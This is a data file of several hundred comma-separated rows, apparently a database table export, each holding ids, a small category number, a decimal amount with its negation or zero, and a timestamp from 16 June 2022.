+49474,2,12977,13.21109182,-13.21109182,2022-06-16 13:49:14.537135+00 +53241,2,13743,2.980302625,-2.980302625,2022-06-16 14:09:05.289294+00 +49601,4,13182,1.767544938,-1.767544938,2022-06-16 13:50:12.063049+00 +49602,4,13166,2.249956602,-2.249956602,2022-06-16 13:50:12.066481+00 +49603,4,13150,5.402429925,-5.402429925,2022-06-16 13:50:12.067444+00 +49604,4,13117,1.977354323,-1.977354323,2022-06-16 13:50:12.068376+00 +49605,4,13101,1.271685753,-1.271685753,2022-06-16 13:50:12.069217+00 +49606,4,13069,13.17566368,-13.17566368,2022-06-16 13:50:12.070035+00 +49607,4,13085,6.608862838,-6.608862838,2022-06-16 13:50:12.070932+00 +49687,7,13098,5.365807215,-5.365807215,2022-06-16 13:50:30.218901+00 +49707,1,13167,2.830200023,-2.830200023,2022-06-16 13:50:35.753759+00 +49708,1,13183,2.165278421,-2.165278421,2022-06-16 13:50:35.755065+00 +53307,4,13536,5.591126308,-5.591126308,2022-06-16 14:09:26.805284+00 +53383,1,13755,1.139986239,-1.139986239,2022-06-16 14:10:17.840743+00 +49877,4,13081,9.77145597,-9.77145597,2022-06-16 13:51:49.894671+00 +49878,4,13105,10.46487125,-10.46487125,2022-06-16 13:51:49.897922+00 +53384,1,13738,2.484000443,-2.484000443,2022-06-16 14:10:17.844629+00 +53385,1,13723,5.600386215,-5.600386215,2022-06-16 14:10:17.84565+00 +53386,1,13736,14.35020817,-14.35020817,2022-06-16 14:10:17.846539+00 +53387,1,13760,0.885659796,-0.885659796,2022-06-16 14:10:17.847384+00 +50109,1,13214,5.777628661,-5.777628661,2022-06-16 13:52:59.754326+00 +50116,6,13034,5.534563611,-5.534563611,2022-06-16 13:53:03.356573+00 +50163,2,13247,2.488369854,-2.488369854,2022-06-16 13:53:05.91779+00 +50164,2,13161,12.04657641,-12.04657641,2022-06-16 13:53:05.921431+00 +50165,2,13034,3.397084525,-3.397084525,2022-06-16 13:53:05.92252+00 +50166,2,13098,3.387401808,-3.387401808,2022-06-16 13:53:05.923402+00 +50167,2,13162,3.377756583,-3.377756583,2022-06-16 13:53:05.924223+00 +50198,1,13144,6.611005192,-6.611005192,2022-06-16 13:53:11.754026+00 +50199,1,13152,4.626595795,-4.626595795,2022-06-16 13:53:11.755225+00 +53388,1,13739,1.240512253,-1.240512253,2022-06-16 14:10:17.848207+00 +50222,2,12954,11.67904543,-11.67904543,2022-06-16 13:53:14.598321+00 +50223,2,13018,11.63228876,-11.63228876,2022-06-16 13:53:14.601714+00 +50224,2,13169,12.88987781,-12.88987781,2022-06-16 13:53:14.602529+00 +53389,1,13746,10.2749855,-10.2749855,2022-06-16 14:10:17.849105+00 +53390,1,13722,9.984823913,-9.984823913,2022-06-16 14:10:17.849785+00 +53391,1,13724,11.72711608,-11.72711608,2022-06-16 14:10:17.85043+00 +53392,1,13747,11.03070102,-11.03070102,2022-06-16 14:10:17.851084+00 +48671,2,12912,1.812579523,0,2022-06-16 13:45:05.01637+00 +53685,4,13787,4.051445617,-4.051445617,2022-06-16 14:12:22.035836+00 +53686,4,13811,8.419447084,-8.419447084,2022-06-16 14:12:22.03941+00 +48676,2,12928,3.672036369,-3.672036369,2022-06-16 13:45:05.136299+00 +53687,4,13771,13.63920276,-13.63920276,2022-06-16 14:12:22.040338+00 +53688,4,13803,0.838858449,-0.838858449,2022-06-16 14:12:22.041118+00 +53689,4,13819,0.767442632,-0.767442632,2022-06-16 14:12:22.041853+00 +53690,4,13752,7.985592053,-7.985592053,2022-06-16 14:12:22.042581+00 +53701,1,13802,2.444601732,-2.444601732,2022-06-16 14:12:26.819309+00 +48682,2,12990,2.676450011,-2.676450011,2022-06-16 13:45:05.286207+00 +60795,6,14816,10.56168235,-10.56168235,2022-06-16 14:45:27.590779+00 +48686,2,12991,2.639451887,-2.639451887,2022-06-16 13:45:05.378911+00 +60926,4,14896,0.63046101,0,2022-06-16 14:46:08.649022+00 +57653,6,14494,8.842629454,-8.842629454,2022-06-16 14:32:15.21896+00 +60927,4,14912,1.02358185,-1.02358185,2022-06-16 14:46:08.652444+00 +51017,2,13291,4.165260104,-4.165260104,2022-06-16 13:57:14.477646+00 +60928,4,14942,4.672567617,-4.672567617,2022-06-16 14:46:08.653267+00 +60929,4,14958,1.050332408,-1.050332408,2022-06-16 14:46:08.654128+00 +48693,2,12974,3.395503752,-3.395503752,2022-06-16 13:45:05.559337+00 +51075,1,13046,10.98803472,-10.98803472,2022-06-16 13:57:47.762433+00 +51076,1,13014,13.76891062,-13.76891062,2022-06-16 13:57:47.765923+00 +51077,1,13158,17.29444913,-17.29444913,2022-06-16 13:57:47.766934+00 +51078,1,13334,13.68976242,-13.68976242,2022-06-16 13:57:47.767777+00 +51079,1,13367,12.07022008,-12.07022008,2022-06-16 13:57:47.768556+00 +51080,1,13207,15.36642731,-15.36642731,2022-06-16 13:57:47.769416+00 +48700,2,12975,3.413039624,-3.413039624,2022-06-16 13:45:05.736903+00 +51081,1,13271,15.30841448,-15.30841448,2022-06-16 13:57:47.770739+00 +51082,1,13174,10.88033014,-10.88033014,2022-06-16 13:57:47.771787+00 +48703,1,12975,2.932335847,-2.932335847,2022-06-16 13:45:05.772592+00 +48704,1,12991,2.256809525,-2.256809525,2022-06-16 13:45:05.776063+00 +51083,1,13222,17.19060152,-17.19060152,2022-06-16 13:57:47.772423+00 +51084,1,13286,17.13044251,-17.13044251,2022-06-16 13:57:47.773044+00 +48707,2,12958,7.575400527,-7.575400527,2022-06-16 13:45:05.857409+00 +51085,1,13303,11.9726904,-11.9726904,2022-06-16 13:57:47.773666+00 +51086,1,13143,15.22867151,-15.22867151,2022-06-16 13:57:47.774297+00 +51087,1,13239,11.90216692,-11.90216692,2022-06-16 13:57:47.774994+00 +51088,1,13110,10.78980231,-10.78980231,2022-06-16 13:57:47.775631+00 +48712,2,12959,8.37773353,-8.37773353,2022-06-16 13:45:05.978889+00 +51099,1,13343,7.243167517,-7.243167517,2022-06-16 13:57:50.760109+00 +51100,1,13111,11.84561221,-11.84561221,2022-06-16 13:57:50.761366+00 +51101,1,13335,15.11457276,-15.11457276,2022-06-16 13:57:50.762077+00 +51102,1,13175,11.77617093,-11.77617093,2022-06-16 13:57:50.763039+00 +51103,1,13079,15.03625749,-15.03625749,2022-06-16 13:57:50.763738+00 +51104,1,13159,19.18751967,-19.18751967,2022-06-16 13:57:50.764569+00 +51105,1,13015,14.94489505,-14.94489505,2022-06-16 13:57:50.765198+00 +59977,6,14779,1.478452905,0,2022-06-16 14:42:11.671701+00 +63995,2,15278,1.071097414,0,2022-06-16 14:57:06.286882+00 +48723,2,12906,3.539208199,-3.539208199,2022-06-16 13:45:14.465017+00 +49476,3,12882,21.66537736,-21.66537736,2022-06-16 13:49:15.323843+00 +48728,2,12907,4.400535589,-4.400535589,2022-06-16 13:45:14.578645+00 +49540,7,13040,10.73619527,0,2022-06-16 13:50:01.479406+00 +49688,4,13075,6.071568262,-6.071568262,2022-06-16 13:50:32.932119+00 +49689,4,13142,13.38248826,-13.38248826,2022-06-16 13:50:32.935534+00 +53479,2,13790,7.336353041,-7.336353041,2022-06-16 14:11:05.319715+00 +49927,3,13182,7.540921043,-7.540921043,2022-06-16 13:52:04.929827+00 +48738,6,12883,12.91608302,-12.91608302,2022-06-16 13:45:23.658746+00 +49928,3,13246,7.485421603,-7.485421603,2022-06-16 13:52:04.933136+00 +57373,2,14463,2.265666058,-2.265666058,2022-06-16 14:31:06.089809+00 +49974,3,13230,9.112118825,-9.112118825,2022-06-16 13:52:07.076409+00 +50048,2,13165,3.484967738,-3.484967738,2022-06-16 13:52:24.439874+00 +50071,6,12906,5.570277623,-5.570277623,2022-06-16 13:52:34.444399+00 +60930,4,14974,1.482685537,-1.482685537,2022-06-16 14:46:08.655026+00 +50226,2,13042,11.90222917,-11.90222917,2022-06-16 13:53:14.629202+00 +60956,1,14896,0.457183674,0,2022-06-16 14:46:15.139758+00 +57654,6,14526,3.02634634,-3.02634634,2022-06-16 14:32:15.21956+00 +48751,1,12949,11.5832587,-11.5832587,2022-06-16 13:45:32.746775+00 +53947,6,13950,2.976371539,-2.976371539,2022-06-16 14:14:13.109275+00 +53970,1,13951,1.649309832,-1.649309832,2022-06-16 14:14:23.870773+00 +50432,3,13227,6.069537336,-6.069537336,2022-06-16 13:54:24.586714+00 +53971,1,13864,14.2994107,-14.2994107,2022-06-16 14:14:23.872048+00 +57733,7,14511,16.39802649,-16.39802649,2022-06-16 14:32:40.449816+00 +50542,3,13232,2.718906048,0,2022-06-16 13:55:04.14874+00 +57800,7,14442,3.756720075,-3.756720075,2022-06-16 14:32:58.463423+00 +54135,4,13784,7.9748517,-7.9748517,2022-06-16 14:15:33.563464+00 +54500,3,13999,7.72917036,-7.72917036,2022-06-16 14:18:06.333614+00 +50884,1,13276,12.47415775,-12.47415775,2022-06-16 13:56:29.780437+00 +50914,3,13037,4.44136066,-4.44136066,2022-06-16 13:56:39.197165+00 +54501,3,14063,7.676483553,-7.676483553,2022-06-16 14:18:06.338135+00 +54549,4,13994,4.453656847,-4.453656847,2022-06-16 14:18:17.809203+00 +54554,6,14045,4.651662972,-4.651662972,2022-06-16 14:18:19.948809+00 +58222,6,14573,0.530466209,0,2022-06-16 14:34:38.014826+00 +54623,3,14011,4.632436993,-4.632436993,2022-06-16 14:18:39.504613+00 +51089,7,13290,5.072616103,-5.072616103,2022-06-16 13:57:48.438717+00 +54719,4,13912,7.985342808,-7.985342808,2022-06-16 14:19:18.550462+00 +58353,2,14591,2.23046186,-2.23046186,2022-06-16 14:35:06.15819+00 +61651,3,14955,3.250069951,0,2022-06-16 14:48:57.233698+00 +51259,1,13363,11.36343734,-11.36343734,2022-06-16 13:58:23.769893+00 +51260,1,13372,12.46571166,-12.46571166,2022-06-16 13:58:23.770658+00 +51261,1,13355,1.394218379,-1.394218379,2022-06-16 13:58:23.771601+00 +51262,1,13352,14.51164813,-14.51164813,2022-06-16 13:58:23.772283+00 +54960,6,14101,5.675295655,-5.675295655,2022-06-16 14:20:36.907528+00 +54979,3,13805,3.40488206,-3.40488206,2022-06-16 14:20:42.282983+00 +51305,6,13422,4.324659372,-4.324659372,2022-06-16 13:58:31.435921+00 +55131,4,13976,7.979218973,-7.979218973,2022-06-16 14:21:19.725944+00 +61928,3,15038,7.447890399,-7.447890399,2022-06-16 14:50:05.210719+00 +51482,1,13375,1.911155357,-1.911155357,2022-06-16 13:59:44.784877+00 +48803,7,12912,10.66507409,0,2022-06-16 13:45:47.79262+00 +48804,4,12889,10.1335412,-10.1335412,2022-06-16 13:45:50.494507+00 +48805,4,12913,10.94230694,-10.94230694,2022-06-16 13:45:50.497997+00 +51483,1,13439,1.907104012,-1.907104012,2022-06-16 13:59:44.788074+00 +51505,2,13353,11.52637082,-11.52637082,2022-06-16 14:00:04.891317+00 +62073,6,15103,2.880389462,-2.880389462,2022-06-16 14:50:19.288516+00 +59046,6,14651,1.578977635,-1.578977635,2022-06-16 14:38:11.950849+00 +51563,4,13440,1.237374639,-1.237374639,2022-06-16 14:00:09.433528+00 +59300,6,14624,10.92339467,-10.92339467,2022-06-16 14:39:22.65793+00 +62362,7,15024,12.21979243,0,2022-06-16 14:51:17.416907+00 +59445,6,14751,9.675770283,-9.675770283,2022-06-16 14:40:12.256033+00 +62409,1,15061,9.683324074,-9.683324074,2022-06-16 14:51:30.16944+00 +55667,4,14072,8.61563326,-8.61563326,2022-06-16 14:24:05.682979+00 +51671,6,13469,5.014996484,-5.014996484,2022-06-16 14:00:47.64063+00 +55715,1,14254,1.604001002,-1.604001002,2022-06-16 14:24:11.932894+00 +51682,6,13440,4.051724458,-4.051724458,2022-06-16 14:01:01.387285+00 +55716,1,14270,1.482865033,-1.482865033,2022-06-16 14:24:11.934178+00 +55717,1,14238,4.978047691,-4.978047691,2022-06-16 14:24:11.93507+00 +55742,6,14238,9.047559187,-9.047559187,2022-06-16 14:24:15.682056+00 +51708,6,13487,4.416100564,-4.416100564,2022-06-16 14:01:04.196115+00 +55747,6,14255,3.492405504,-3.492405504,2022-06-16 14:24:15.844444+00 +51718,6,13503,3.425093395,-3.425093395,2022-06-16 14:01:04.556363+00 +59979,6,14805,5.177300601,-5.177300601,2022-06-16 14:42:11.885156+00 +59997,1,14845,2.963128695,-2.963128695,2022-06-16 14:42:15.084015+00 +56672,6,14365,4.459455624,-4.459455624,2022-06-16 14:28:23.162176+00 +56705,1,14365,8.55521176,-8.55521176,2022-06-16 14:28:29.992589+00 +56706,1,14381,1.176520706,0,2022-06-16 14:28:29.993912+00 +56707,1,14397,3.051127456,-3.051127456,2022-06-16 14:28:29.994748+00 +59998,1,14829,1.177639726,0,2022-06-16 14:42:15.085267+00 +56788,2,14336,3.303687331,-3.303687331,2022-06-16 14:29:06.743544+00 +56789,2,14297,9.789821141,-9.789821141,2022-06-16 14:29:06.747044+00 +56790,2,14298,11.13154523,-11.13154523,2022-06-16 14:29:06.747921+00 +56791,2,14322,10.9172894,-10.9172894,2022-06-16 14:29:06.748702+00 +59999,1,14813,8.292890881,-8.292890881,2022-06-16 14:42:15.086048+00 +63997,2,15279,1.178071227,-1.178071227,2022-06-16 14:57:06.317294+00 +53764,6,13886,3.022313155,-3.022313155,2022-06-16 14:13:03.113747+00 +57208,6,14462,3.030781066,-3.030781066,2022-06-16 14:30:24.979206+00 +57240,6,14250,4.522884234,-4.522884234,2022-06-16 14:30:28.182987+00 +54136,7,13866,4.479495116,-4.479495116,2022-06-16 14:15:38.704467+00 +54138,4,13865,8.418031763,-8.418031763,2022-06-16 14:15:44.781752+00 +54139,4,13849,8.490237937,-8.490237937,2022-06-16 14:15:44.783039+00 +54298,6,13965,10.6260003,-10.6260003,2022-06-16 14:16:40.655637+00 +54555,4,14003,8.238200512,-8.238200512,2022-06-16 14:18:22.671141+00 +54556,4,13963,13.55980874,-13.55980874,2022-06-16 14:18:22.674425+00 +54557,4,14011,0.708264376,-0.708264376,2022-06-16 14:18:22.675322+00 +54558,4,13995,0.77908032,-0.77908032,2022-06-16 14:18:22.676178+00 +54559,4,13979,3.972351758,-3.972351758,2022-06-16 14:18:22.677069+00 +54577,1,14001,4.871428565,-4.871428565,2022-06-16 14:18:29.874657+00 +54578,1,13980,11.4104614,-11.4104614,2022-06-16 14:18:29.875979+00 +54579,1,13993,4.423891974,-4.423891974,2022-06-16 14:18:29.87674+00 +54580,1,13977,4.472252501,-4.472252501,2022-06-16 14:18:29.87745+00 +54581,1,14012,11.47755706,-11.47755706,2022-06-16 14:18:29.878142+00 +54582,1,13996,11.74019141,-11.74019141,2022-06-16 14:18:29.878841+00 +54624,1,14046,5.030417511,-5.030417511,2022-06-16 14:18:41.905578+00 +54625,1,14078,1.387700066,-1.387700066,2022-06-16 14:18:41.908952+00 +54626,1,14062,1.852382861,-1.852382861,2022-06-16 14:18:41.909897+00 +54675,2,14046,7.168568097,-7.168568097,2022-06-16 14:19:05.480375+00 +58225,6,14589,1.401280063,-1.401280063,2022-06-16 14:34:39.89208+00 +61369,3,14890,3.745494316,-3.745494316,2022-06-16 14:47:59.599312+00 +58355,4,14520,8.749759371,-8.749759371,2022-06-16 14:35:10.663155+00 +61543,6,15021,0.515793102,0,2022-06-16 14:48:34.464774+00 +61747,6,14928,25.88032831,-25.88032831,2022-06-16 14:49:15.750235+00 +55327,6,14190,3.351198657,-3.351198657,2022-06-16 14:22:38.593671+00 +58843,6,14576,1.643310825,0,2022-06-16 14:37:21.18747+00 +59095,6,14717,1.37729217,-1.37729217,2022-06-16 14:38:30.893657+00 +55541,7,14126,17.72176614,-17.72176614,2022-06-16 14:23:10.64497+00 +55558,2,14123,3.428626532,-3.428626532,2022-06-16 14:23:14.449983+00 +59115,1,14652,10.72161451,-10.72161451,2022-06-16 14:38:39.040735+00 +59116,1,14620,10.69383414,-10.69383414,2022-06-16 14:38:39.042085+00 +59117,1,14633,4.029437764,-4.029437764,2022-06-16 14:38:39.043064+00 +59118,1,14636,10.9565609,-10.9565609,2022-06-16 14:38:39.043911+00 +59119,1,14617,4.073175824,-4.073175824,2022-06-16 14:38:39.04469+00 +59120,1,14641,4.423485955,-4.423485955,2022-06-16 14:38:39.045519+00 +59301,4,14560,5.227289272,-5.227289272,2022-06-16 14:39:30.755607+00 +55787,7,14191,17.88117415,-17.88117415,2022-06-16 14:24:26.799732+00 +55801,6,14229,5.574699267,-5.574699267,2022-06-16 14:24:28.603149+00 +55803,4,14163,5.471133834,-5.471133834,2022-06-16 14:24:30.510737+00 +55839,3,14187,4.776536307,-4.776536307,2022-06-16 14:24:42.693854+00 +55879,1,14163,7.549638411,-7.549638411,2022-06-16 14:25:02.946005+00 +59588,6,14741,5.216615351,-5.216615351,2022-06-16 14:40:39.752774+00 +62649,6,15134,8.2805104,-8.2805104,2022-06-16 14:52:25.431847+00 +59830,4,14705,7.933790789,-7.933790789,2022-06-16 14:41:46.757869+00 +59983,6,14813,4.197651742,-4.197651742,2022-06-16 14:42:13.795971+00 +60005,4,14762,3.447506996,-3.447506996,2022-06-16 14:42:17.739817+00 +52773,6,13632,3.972476482,-3.972476482,2022-06-16 14:06:33.657192+00 +56673,4,14323,7.934128473,-7.934128473,2022-06-16 14:28:23.657997+00 +51725,2,13440,3.644501825,-3.644501825,2022-06-16 14:01:05.237273+00 +51726,2,13401,11.56261695,-11.56261695,2022-06-16 14:01:05.240773+00 +51727,2,13402,11.35573693,-11.35573693,2022-06-16 14:01:05.241704+00 +51728,2,13417,11.4346034,-11.4346034,2022-06-16 14:01:05.242488+00 +51729,2,13418,3.085905143,-3.085905143,2022-06-16 14:01:05.243263+00 +51730,2,13426,11.57850205,-11.57850205,2022-06-16 14:01:05.243991+00 +56674,4,14315,0.686456814,-0.686456814,2022-06-16 14:28:23.661426+00 +53049,4,13726,5.188534599,-5.188534599,2022-06-16 14:08:09.082104+00 +53050,4,13696,1.172791125,-1.172791125,2022-06-16 14:08:09.085932+00 +53051,4,13742,1.967748652,-1.967748652,2022-06-16 14:08:09.087009+00 +51735,2,13486,3.111236784,-3.111236784,2022-06-16 14:01:05.341029+00 +53164,6,13758,3.135327237,-3.135327237,2022-06-16 14:08:46.152188+00 +56675,4,14283,13.41967007,-13.41967007,2022-06-16 14:28:23.662314+00 +56676,4,14331,0.610744338,-0.610744338,2022-06-16 14:28:23.663202+00 +56677,4,14299,3.868147575,-3.868147575,2022-06-16 14:28:23.663999+00 +53396,6,13790,9.441082304,-9.441082304,2022-06-16 14:10:18.58393+00 +51742,2,13487,3.119051807,-3.119051807,2022-06-16 14:01:05.490153+00 +60130,3,14763,3.890025515,-3.890025515,2022-06-16 14:42:53.762486+00 +57115,6,14186,4.55735961,-4.55735961,2022-06-16 14:30:09.768367+00 +51748,2,13470,7.446659899,-7.446659899,2022-06-16 14:01:05.627282+00 +57212,4,14395,0.586007417,-0.586007417,2022-06-16 14:30:25.09454+00 +57241,4,14355,5.363845255,-5.363845255,2022-06-16 14:30:32.525413+00 +60475,6,14827,1.753157871,-1.753157871,2022-06-16 14:44:12.240808+00 +60504,4,14826,3.367276047,-3.367276047,2022-06-16 14:44:19.815737+00 +51754,2,13471,8.254707439,-8.254707439,2022-06-16 14:01:05.772643+00 +54137,4,13848,7.951802708,-7.951802708,2022-06-16 14:15:39.27354+00 +54140,1,13909,10.45521318,-10.45521318,2022-06-16 14:15:44.869488+00 +64582,2,15296,3.280944745,-3.280944745,2022-06-16 14:59:05.694488+00 +64583,2,15257,8.276789101,-8.276789101,2022-06-16 14:59:05.697719+00 +54299,3,13677,3.692509246,-3.692509246,2022-06-16 14:16:41.83395+00 +51760,2,13502,2.41013906,-2.41013906,2022-06-16 14:01:05.905413+00 +54336,1,13912,6.24970531,-6.24970531,2022-06-16 14:16:50.869572+00 +54337,1,13944,6.444694985,-6.444694985,2022-06-16 14:16:50.871187+00 +54338,1,14014,1.423627678,-1.423627678,2022-06-16 14:16:50.872416+00 +51764,2,13503,2.391476034,-2.391476034,2022-06-16 14:01:05.980708+00 +54339,1,13998,1.884924952,-1.884924952,2022-06-16 14:16:50.873434+00 +54340,1,13920,4.205872734,-4.205872734,2022-06-16 14:16:50.874294+00 +51767,2,13425,12.2787452,-12.2787452,2022-06-16 14:01:06.033144+00 +54365,2,13998,2.822889543,-2.822889543,2022-06-16 14:17:05.528878+00 +57575,3,14510,6.776129444,-6.776129444,2022-06-16 14:32:05.829443+00 +64584,2,15258,10.50047745,-10.50047745,2022-06-16 14:59:05.69852+00 +64585,2,15282,10.06011608,-10.06011608,2022-06-16 14:59:05.699331+00 +57735,6,14459,1.80337735,-1.80337735,2022-06-16 14:32:40.496032+00 +54627,3,13741,3.563656167,-3.563656167,2022-06-16 14:18:42.077261+00 +61007,6,14974,2.940788208,-2.940788208,2022-06-16 14:46:21.053019+00 +61018,4,14907,0.438076271,0,2022-06-16 14:46:23.746552+00 +61019,4,14891,0.491032759,-0.491032759,2022-06-16 14:46:23.747726+00 +61020,4,14875,3.69523449,-3.69523449,2022-06-16 14:46:23.748549+00 +61021,4,14899,7.433509014,-7.433509014,2022-06-16 14:46:23.749396+00 +54962,6,14109,4.600500091,-4.600500091,2022-06-16 14:20:38.90444+00 +61022,4,14859,13.17499031,-13.17499031,2022-06-16 14:46:23.750246+00 +55039,2,14080,3.42123247,-3.42123247,2022-06-16 14:21:05.108874+00 +55040,2,14041,10.25311949,-10.25311949,2022-06-16 14:21:05.112068+00 +55041,2,14042,11.09204875,-11.09204875,2022-06-16 14:21:05.11311+00 +55042,2,14065,10.93764898,-10.93764898,2022-06-16 14:21:05.113924+00 +55043,2,14066,11.09280457,-11.09280457,2022-06-16 14:21:05.114755+00 +55044,2,14110,7.116632882,-7.116632882,2022-06-16 14:21:05.115509+00 +61155,2,14912,2.987847035,-2.987847035,2022-06-16 14:47:05.333985+00 +55105,2,14075,3.178025859,-3.178025859,2022-06-16 14:21:14.540836+00 +61156,2,14873,8.855748732,-8.855748732,2022-06-16 14:47:05.337322+00 +61157,2,14874,10.9467233,-10.9467233,2022-06-16 14:47:05.338212+00 +61158,2,14898,10.48678541,-10.48678541,2022-06-16 14:47:05.339029+00 +58765,2,14576,1.907628649,0,2022-06-16 14:37:05.361451+00 +58766,2,14553,9.357126846,-9.357126846,2022-06-16 14:37:05.365658+00 +58767,2,14554,11.07437463,-11.07437463,2022-06-16 14:37:05.366693+00 +58768,2,14569,9.252752226,-9.252752226,2022-06-16 14:37:05.367618+00 +58769,2,14570,2.186679796,-2.186679796,2022-06-16 14:37:05.36856+00 +58770,2,14577,9.980241475,-9.980241475,2022-06-16 14:37:05.369476+00 +58771,2,14578,10.73497439,-10.73497439,2022-06-16 14:37:05.370489+00 +58772,2,14622,6.820169293,-6.820169293,2022-06-16 14:37:05.371363+00 +58845,1,14312,14.31240979,-14.31240979,2022-06-16 14:37:22.498583+00 +58867,7,14506,3.603050165,-3.603050165,2022-06-16 14:37:36.899512+00 +61705,2,15038,2.182260508,-2.182260508,2022-06-16 14:49:05.918298+00 +61748,6,14679,19.72651115,-19.72651115,2022-06-16 14:49:17.412912+00 +61749,6,14743,19.64808834,-19.64808834,2022-06-16 14:49:17.416517+00 +61750,6,14807,19.56986707,-19.56986707,2022-06-16 14:49:17.417622+00 +59142,3,14635,4.123688909,-4.123688909,2022-06-16 14:38:51.356804+00 +61751,6,14871,19.4918507,-19.4918507,2022-06-16 14:49:17.418544+00 +55758,6,14254,3.219229008,-3.219229008,2022-06-16 14:24:16.128798+00 +55788,1,14239,6.067938806,-6.067938806,2022-06-16 14:24:26.959118+00 +55789,1,14255,1.845867103,-1.845867103,2022-06-16 14:24:26.962524+00 +55805,6,14237,4.5350595,-4.5350595,2022-06-16 14:24:30.557155+00 +59302,1,14677,9.946166287,-9.946166287,2022-06-16 14:39:36.072644+00 +55840,3,13933,3.193736514,0,2022-06-16 14:24:42.946687+00 +55850,3,14203,4.34420757,-4.34420757,2022-06-16 14:24:43.443501+00 +59317,4,14624,5.214742051,-5.214742051,2022-06-16 14:39:40.775563+00 +59331,4,14633,7.394200652,-7.394200652,2022-06-16 14:39:47.122049+00 +61992,6,15085,0.515616896,0,2022-06-16 14:50:08.197905+00 +52782,3,13357,4.135906646,-4.135906646,2022-06-16 14:06:40.518403+00 +64347,6,15342,1.433824826,0,2022-06-16 14:58:16.084916+00 +53052,4,13743,1.879236078,-1.879236078,2022-06-16 14:08:10.701873+00 +53053,4,13727,5.490376007,-5.490376007,2022-06-16 14:08:10.7051+00 +53054,4,13759,1.421567782,-1.421567782,2022-06-16 14:08:10.70597+00 +60388,2,14761,8.915685742,-8.915685742,2022-06-16 14:44:04.983805+00 +56964,6,14288,26.64942199,-26.64942199,2022-06-16 14:29:17.802649+00 +64473,6,15357,1.265701115,-1.265701115,2022-06-16 14:58:37.939834+00 +60578,7,14830,14.0130073,-14.0130073,2022-06-16 14:44:46.887179+00 +64493,4,15319,12.36097083,-12.36097083,2022-06-16 14:58:44.228141+00 +57377,2,14377,9.570941973,-9.570941973,2022-06-16 14:31:06.175385+00 +57378,2,14378,2.298893596,-2.298893596,2022-06-16 14:31:06.178788+00 +57379,2,14385,10.31746355,-10.31746355,2022-06-16 14:31:06.179654+00 +53833,6,13776,27.26670508,-27.26670508,2022-06-16 14:13:28.773182+00 +54084,2,13950,2.185359985,-2.185359985,2022-06-16 14:15:05.882884+00 +57658,6,14527,3.095107891,-3.095107891,2022-06-16 14:32:15.308604+00 +57736,1,14511,1.592775909,-1.592775909,2022-06-16 14:32:41.981358+00 +57737,1,14495,5.951684407,-5.951684407,2022-06-16 14:32:41.984903+00 +54300,1,13952,0.864956332,-0.864956332,2022-06-16 14:16:41.897104+00 +54301,1,13907,7.654588518,-7.654588518,2022-06-16 14:16:41.900391+00 +54416,2,13931,3.603241966,-3.603241966,2022-06-16 14:17:14.435753+00 +54628,1,13976,6.242041926,-6.242041926,2022-06-16 14:18:44.901779+00 +54629,1,13984,4.202360533,-4.202360533,2022-06-16 14:18:44.905353+00 +54630,1,14016,0.850384162,-0.850384162,2022-06-16 14:18:44.906229+00 +58227,3,14253,3.27191409,0,2022-06-16 14:34:44.238833+00 +58258,1,14557,8.460174599,-8.460174599,2022-06-16 14:34:54.030162+00 +58259,1,14236,11.04380554,-11.04380554,2022-06-16 14:34:54.031452+00 +54904,1,14141,3.106735985,-3.106735985,2022-06-16 14:20:14.924656+00 +54905,1,14109,8.685900939,-8.685900939,2022-06-16 14:20:14.928158+00 +54906,1,14125,1.307411019,-1.307411019,2022-06-16 14:20:14.928969+00 +54930,7,13935,19.00536063,-19.00536063,2022-06-16 14:20:19.68368+00 +58260,1,14300,11.00027991,-11.00027991,2022-06-16 14:34:54.032311+00 +58261,1,14589,3.007995172,-3.007995172,2022-06-16 14:34:54.033071+00 +58262,1,14573,1.175540535,0,2022-06-16 14:34:54.033813+00 +61418,3,14975,6.928611476,-6.928611476,2022-06-16 14:48:04.082538+00 +55106,1,14101,10.33185268,-10.33185268,2022-06-16 14:21:14.950017+00 +61545,6,15037,1.319804255,-1.319804255,2022-06-16 14:48:36.492932+00 +55180,3,14142,7.160418122,-7.160418122,2022-06-16 14:22:03.964554+00 +55308,6,14123,2.235327969,-2.235327969,2022-06-16 14:22:31.115837+00 +58808,2,14655,2.185388261,-2.185388261,2022-06-16 14:37:06.271595+00 +61993,6,15086,2.016477168,-2.016477168,2022-06-16 14:50:08.228441+00 +55495,2,14144,3.390702433,-3.390702433,2022-06-16 14:23:05.263126+00 +55496,2,14105,10.13427786,-10.13427786,2022-06-16 14:23:05.2664+00 +55497,2,14106,11.10209173,-11.10209173,2022-06-16 14:23:05.267309+00 +55498,2,14121,10.02141358,-10.02141358,2022-06-16 14:23:05.268111+00 +55499,2,14129,10.79368237,-10.79368237,2022-06-16 14:23:05.268885+00 +55500,2,14130,11.04317955,-11.04317955,2022-06-16 14:23:05.269648+00 +59205,6,14656,2.62846515,-2.62846515,2022-06-16 14:39:00.080727+00 +62309,2,15103,2.245421859,-2.245421859,2022-06-16 14:51:09.731738+00 +59358,3,14610,22.46980819,-22.46980819,2022-06-16 14:40:01.78278+00 +59372,3,14718,7.550856483,-7.550856483,2022-06-16 14:40:04.839218+00 +55772,4,14195,8.051314129,-8.051314129,2022-06-16 14:24:22.707598+00 +55773,4,14155,13.47571797,-13.47571797,2022-06-16 14:24:22.710965+00 +55774,4,14187,0.723293867,-0.723293867,2022-06-16 14:24:22.71191+00 +55775,4,14171,3.910125939,-3.910125939,2022-06-16 14:24:22.712697+00 +55776,4,14203,0.650906025,-0.650906025,2022-06-16 14:24:22.713506+00 +55851,1,14253,1.178988581,0,2022-06-16 14:24:50.963256+00 +55852,1,14237,8.630561102,-8.630561102,2022-06-16 14:24:50.966686+00 +55853,1,14269,3.075733882,-3.075733882,2022-06-16 14:24:50.967519+00 +59589,4,14775,10.00731421,-10.00731421,2022-06-16 14:40:41.310913+00 +55892,2,14208,3.358835897,-3.358835897,2022-06-16 14:25:05.146414+00 +55893,2,14169,10.01747832,-10.01747832,2022-06-16 14:25:05.149716+00 +55894,2,14170,11.11190724,-11.11190724,2022-06-16 14:25:05.150568+00 +55895,2,14193,10.69071567,-10.69071567,2022-06-16 14:25:05.15142+00 +55896,2,14194,11.01465645,-11.01465645,2022-06-16 14:25:05.152212+00 +59618,3,14715,3.237536504,0,2022-06-16 14:40:53.259264+00 +55908,2,14271,2.232029248,-2.232029248,2022-06-16 14:25:05.446015+00 +59635,6,14634,4.185654845,-4.185654845,2022-06-16 14:40:55.386584+00 +55943,2,14187,3.368927779,-3.368927779,2022-06-16 14:25:14.485178+00 +52784,6,13662,9.552067774,-9.552067774,2022-06-16 14:06:42.065889+00 +52887,6,13679,4.205369867,-4.205369867,2022-06-16 14:07:13.319381+00 